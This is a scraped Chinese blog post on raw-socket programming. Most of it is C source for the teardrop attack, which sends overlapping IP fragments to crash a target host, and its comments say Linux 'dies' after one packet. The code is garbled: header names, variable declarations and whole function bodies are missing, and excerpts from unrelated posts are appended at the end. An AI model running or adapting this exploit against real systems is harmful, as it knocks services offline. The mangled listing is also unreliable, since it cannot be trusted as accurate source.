Socket程式設計實戰

2021-10-11 10:57:52 字數 3421 閱讀 2238

#include 

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#ifdef strange_bsd_byte_ordering_thing

/* openbsd < 2.1, all freebsd and netbsd, bsdi < 3.0 */

#define fix(n) (n)

#else

/* openbsd 2.1, all linux */

#define fix(n) htons(n)

#endif

/* strange_bsd_byte_ordering_thing */

#define ip_mf 0x2000

/* more ip fragment en route */

#define iph 0x14

/* ip header size */

#define udph 0x8

/* udp header size */

#define padding 0x1c

/* datagram frame padding for first packet */

#define magic 0x3

/* magic fragment constant (tm). should be 2 or 3 */

#define count 0x1

/* linux dies with 1, nt is more stalwart and can

* withstand maybe 5 or 10 sometimes... experiment.*/

void

usage

(u_char *);

u_long name_resolve

(u_char *);

void

send_frags

(int

, u_long, u_long, u_short, u_short)

;int

main

(int argc,

char

**ar**)

//設定套接字選項ip_hdrinclif(

setsockopt

(rip_sock, ipproto_ip, ip_hdrincl,

(char*)

&one,

sizeof

(one)

)<0)

if(argc <3)

usage

(ar**[0]

);// 設定源ip 和 目的ipif(

!(src_ip=

name_resolve

(ar**[1]

))||!

(dst_ip =

name_resolve

(ar**[2]

)))while

((i =

getopt

(argc, ar**,

"s:t:n:"))

!= eof)

}srandom

((unsigned)

(utimes

("0"

,(time_t)0)

));if

(!src_prt) src_prt =

(random()

%0xffff);

if(!dst_prt) dst_prt =

(random()

%0xffff);

if(!count)

count = count;

printf

("death on flaxen wings:\n");

addr.s_addr = src_ip;

printf

("from: %15s.%5d\n"

,inet_ntoa

(addr)

, src_prt)

; addr.s_addr = dst_ip;

printf

(" to: %15s.%5d\n"

,inet_ntoa

(addr)

, dst_prt)

;printf

(" amt: %5d\n"

, count)

;printf

("[\n ");

for(i =

0; i < count; i++

)printf

("]\n");

return(0

);}// 設定 ip 包的內容

void

send_frags

(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)if(

sendto

(sock, packet, iph + udph + padding,0,

(struct sockaddr *

)&sin,

sizeof

(struct sockaddr))==

-1)// ip total length is 2 bytes into the header

p_ptr =

&packet[2]

;*((u_short *

)p_ptr)

=fix

(iph + magic +1)

;// ip offset is 6 bytes into the header

p_ptr +=4

;*((u_short *

)p_ptr)

=fix

(magic);if

(sendto

(sock, packet, iph+magic+1,

0,(struct sockaddr *

)&sin,

sizeof

(struct sockaddr))==

-1)free

(packet);}

// 獲取主機資訊

u_long name_resolve

(u_char *host_name)

return

(addr.s_addr);}

void

usage

(u_char *name)

執行結果如下:

然後用wireshark抓包如下:

Socket程式設計實戰

以 金庸夢 遊戲的客戶端連線伺服器 斷開伺服器為例,用wireshark抓包分析tcp協議的三次握手連線 四次握手斷開,與計算機網路原理進行驗證 用fiddler抓包,分析驗證乙個https 的tcp連線過程。完成 網路程式設計技術 參考書上 2.11 原始套接字程式設計 中的teardrop 程式...

linux 網路Socket實戰

preface 就算調通api,也不值得太過自豪 悉心細心學習,最好的深度學習就是看 學.h class prototype 1,linux c ftp c s簡單實現 ftps端碼子 c端碼子 碼子測試 c語言編譯錯誤 expected declaration or statement at en...

socket程式設計

一直以為serversocket accept之後客戶端才能發資訊,實驗後得出如下結論 1 serversocket沒有accept時,client是可以傳送資訊到server端的。2 serversocket accept之後,正在處理訊息時,client也是可以傳送資訊到server端。如果se...